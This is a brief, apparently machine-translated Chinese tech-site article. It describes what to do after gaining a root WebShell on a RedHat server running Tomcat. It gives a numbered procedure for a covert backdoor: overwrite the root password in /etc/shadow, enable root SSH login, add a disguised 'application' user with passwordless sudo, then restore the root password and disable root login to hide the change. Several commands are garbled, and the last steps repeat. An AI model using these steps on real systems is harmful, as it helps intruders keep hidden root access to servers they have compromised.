Article Title: linux elevation of Root privilege WebShell Elevation of Privilege. Linux is a technology channel of the IT lab in China. Includes basic categories such as desktop applications, Linux system management, kernel research, embedded systems, and open source.
There is no technical knowledge. It is a way of thinking that some people who get the Root permission WebShell can quickly get the permission.
One day, I got a website WebShell and RedHat (red-flag Linux) system. Tomcat is started as Root, and WebShell also has Root permissions.
Specific Elevation of Privilege:
1. Replace the Root password with WebShell:/etc/shadow // remember to back up
2. allow Root users to log on via ssh:
Modify:/etc/ssh/sshd_config
PermitRootLogin yes # Allow Root Login
3. restart the ssh service: service ssh restart
4. log on to ssh as Root and add a user:
Useradd application
Passwd // set the password as prompted
5. You do not need a password to change the su operation for the application User:
Chmod + w/etc/sudoers // Add write permission, read-only by default
Modify:/etc/sudoers
Vi/etc/sudoers
Add: application ALL = (ALL) NOPASSWD: ALL
6. Change the Root password back to its original state and prohibit Root login. And remove sudoers write attributes (chmod-w/etc/sudoers ).
7. Of course, the last step is chmod-w/etc/sudoers.
Log on as the Root user.
Normal user login, su password-free access to the Root permission.